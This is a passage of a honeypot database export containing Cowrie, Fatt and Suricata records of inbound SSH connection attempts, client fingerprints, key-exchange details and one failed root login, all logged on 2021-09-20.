"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 51632, "dest_port": 22, "timestamp": "2021-09-20T11:38:12.567435", "@timestamp": "2021-09-20T11:38:12.567Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
30727	159.89.194.160	109.199.241.180	Cowrie	2021-09-20 14:38:13.370651+03	2021-09-20 14:45:03.549141+03	{"_id": "5Qb_AnwBvYTbRNuE1j7s", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.89.194.160", "eventid": "cowrie.login.failed", "message": "login attempt [root/awsroot] failed", "session": "316fd6eedf72", "@version": "1", "password": "awsroot", "username": "root", "timestamp": "2021-09-20T11:38:13.370651Z", "@timestamp": "2021-09-20T11:38:13.370Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
30728	91.231.219.157	109.199.241.180	Fatt	2021-09-20 14:38:14.057606+03	2021-09-20 14:45:03.550142+03	{"_id": "5gb_AnwBvYTbRNuE2T6i", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "91.231.219.157", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 46574, "dest_port": 22, "timestamp": "2021-09-20T11:38:14.057606", "@timestamp": "2021-09-20T11:38:14.057Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
30729	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:38:13.94943+03	2021-09-20 14:45:03.551142+03	{"_id": "7Qb_AnwBvYTbRNuE2j7W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 91.231.219.157:46574 (192.168.176.2:22) [session: ade489be2064]", "session": "ade489be2064", "@version": "1", "protocol": "ssh", "src_port": 46574, "dest_port": 22, "timestamp": "2021-09-20T11:38:13.949430Z", "@timestamp": "2021-09-20T11:38:13.949Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
30730	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:38:13.952325+03	2021-09-20 14:45:03.553142+03	{"_id": "7gb_AnwBvYTbRNuE2j7W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "ade489be2064", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:38:13.952325Z", "@timestamp": "2021-09-20T11:38:13.952Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
30742	1.117.219.217	109.199.241.180	Cowrie	2021-09-20 14:37:57.600325+03	2021-09-20 14:45:03.568142+03	{"_id": "vQb_AnwBvYTbRNuEnD5O", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.117.219.217", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 1.117.219.217:44272 (192.168.176.2:22) [session: 71b154e0f361]", "session": "71b154e0f361", "@version": "1", "protocol": "ssh", "src_port": 44272, "dest_port": 22, "timestamp": "2021-09-20T11:37:57.600325Z", "@timestamp": "2021-09-20T11:37:57.600Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
30731	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:38:14.058226+03	2021-09-20 14:45:03.554142+03	{"_id": "7wb_AnwBvYTbRNuE2j7W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "ade489be2064", "@version": "1", "timestamp": "2021-09-20T11:38:14.058226Z", "@timestamp": "2021-09-20T11:38:14.058Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
30732	91.231.219.157	109.199.241.180	Suricata	2021-09-20 14:38:14.057513+03	2021-09-20 14:45:03.555142+03	{"_id": "8Qb_AnwBvYTbRNuE3D54", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "91.231.219.157", "dest_ip": "192.168.20.116", "flow_id": 1793311830826169, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 46574, "dest_port": 22, "timestamp": "2021-09-20T11:38:14.057513Z", "@timestamp": "2021-09-20T11:38:14.057Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
30733	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:38:10.397124+03	2021-09-20 14:45:03.556142+03	{"_id": "zgb_AnwBvYTbRNuEzT7n", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35466, "timestamp": "2021-09-20T11:38:10.397124", "@timestamp": "2021-09-20T11:38:10.397Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
30734	159.89.194.160	109.199.241.180	Suricata	2021-09-20 14:38:12.567435+03	2021-09-20 14:45:03.557142+03	{"_id": "4Ab_AnwBvYTbRNuE1D6m", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:38:12.216717+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "159.89.194.160", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1740432193375885, "payload": "AAADzAYUCIemWuOXtBlA2Vqsl2RofwAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 51632, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:38:12.567435Z", "@timestamp": "2021-09-20T11:38:12.567Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".........Z....@.Z..dh....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
30735	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:38:12.395767+03	2021-09-20 14:45:03.559141+03	{"_id": "4gb_AnwBvYTbRNuE1T65", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "159.89.194.160", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 51632, "timestamp": "2021-09-20T11:38:12.395767", "@timestamp": "2021-09-20T11:38:12.395Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
30736	159.89.194.160	109.199.241.180	Cowrie	2021-09-20 14:38:12.567642+03	2021-09-20 14:45:03.560142+03	{"_id": "5Ab_AnwBvYTbRNuE1j7s", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "159.89.194.160", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "316fd6eedf72", "@version": "1", "timestamp": "2021-09-20T11:38:12.567642Z", "@timestamp": "2021-09-20T11:38:12.567Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
30737	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:38:13.953536+03	2021-09-20 14:45:03.561142+03	{"_id": "5wb_AnwBvYTbRNuE2T6i", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "91.231.219.157", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 46574, "timestamp": "2021-09-20T11:38:13.953536", "@timestamp": "2021-09-20T11:38:13.953Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
30738	91.231.219.157	109.199.241.180	Suricata	2021-09-20 14:38:14.057606+03	2021-09-20 14:45:03.562142+03	{"_id": "8gb_AnwBvYTbRNuE3D54", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:38:13.842937+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "91.231.219.157", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1793311830826169, "payload": 